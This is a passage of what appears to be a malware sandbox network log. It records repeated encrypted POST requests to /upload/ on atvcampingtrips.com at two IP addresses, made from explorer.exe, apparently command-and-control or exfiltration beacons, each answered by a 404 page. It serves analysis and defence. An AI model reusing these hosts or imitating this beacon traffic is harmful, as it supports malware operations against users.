Aug 21, 2021 21:46:45.135951042 CEST	13779	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 07 6b 2c 90 f4 76 0b 75 7b 26 ae 8f Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA ,[k,vu{&K`K[0guFu5pT[-W-Q)2SVRMV 7vVRY3f{WDTT
Aug 21, 2021 21:46:45.848548889 CEST	13780	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	49747	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:46.110413074 CEST	13781	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: atvcampingtrips.com
Aug 21, 2021 21:46:46.110440016 CEST	13781	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 2f 23 ae fc Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu/#oZfwVo-t#uq. Fib[_,BC75SLSh
Aug 21, 2021 21:46:46.635320902 CEST	13782	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	49748	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:47.178189993 CEST	13783	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 202 Host: atvcampingtrips.com
Aug 21, 2021 21:46:47.178206921 CEST	13783	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 63 5e a8 a8 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vuc^OCVSmtI](+lk%6s)WX+2x/.XQ!$A<>yGw^A5O
Aug 21, 2021 21:46:47.878684044 CEST	13784	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	49749	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:48.130494118 CEST	13785	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: atvcampingtrips.com
Aug 21, 2021 21:46:48.130508900 CEST	13785	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 72 18 c9 a7 Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA -[k,vurVRAVt-Qvf0dXN
Aug 21, 2021 21:46:48.836169004 CEST	13786	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	49750	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:49.433249950 CEST	13787	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: atvcampingtrips.com
Aug 21, 2021 21:46:49.433442116 CEST	13787	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 28 3e fe 9c Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu(>8Uwn@FR@>fuXgLF6 Gc(OTJ~-!&w% _Olyt@uK.["e\|zwrvR<AM2l
Aug 21, 2021 21:46:50.147937059 CEST	13788	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	49751	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:50.456263065 CEST	13789	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: atvcampingtrips.com
Aug 21, 2021 21:46:50.456280947 CEST	13789	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 4f 5d fe bf Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vuO]yWad\!Eo[W'fv`X6<,>I.4=wW#$<xq1qkG+^jV4:xFlZg#NW$/
Aug 21, 2021 21:46:51.153327942 CEST	13795	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	49753	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:51.368321896 CEST	13796	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 143 Host: atvcampingtrips.com
Aug 21, 2021 21:46:51.371382952 CEST	13796	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 34 20 c0 b9 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu4 VDrSbb;K8%nhTr@KU-2L(;\|
Aug 21, 2021 21:46:52.068973064 CEST	13800	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49708	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:45:56.604475975 CEST	1381	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 272 Host: atvcampingtrips.com
Aug 21, 2021 21:45:56.604482889 CEST	1381	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 54 0b ea 92 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vuTXu`]Zwl\|_U+l9]bURk\8RXz8VF23<<mP?8'\3F;36ABxCV/mwXHbY#
Aug 21, 2021 21:45:57.305573940 CEST	1382	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:45:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	49754	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:52.330754042 CEST	13801	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 326 Host: atvcampingtrips.com
Aug 21, 2021 21:46:52.330775976 CEST	13802	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 55 43 c9 f9 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vuUC@C'5sK.\|>~HQ^B\|+XM\p@FqmP8777icZvX-p{ki'o[~$Kh
Aug 21, 2021 21:46:52.864728928 CEST	13803	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 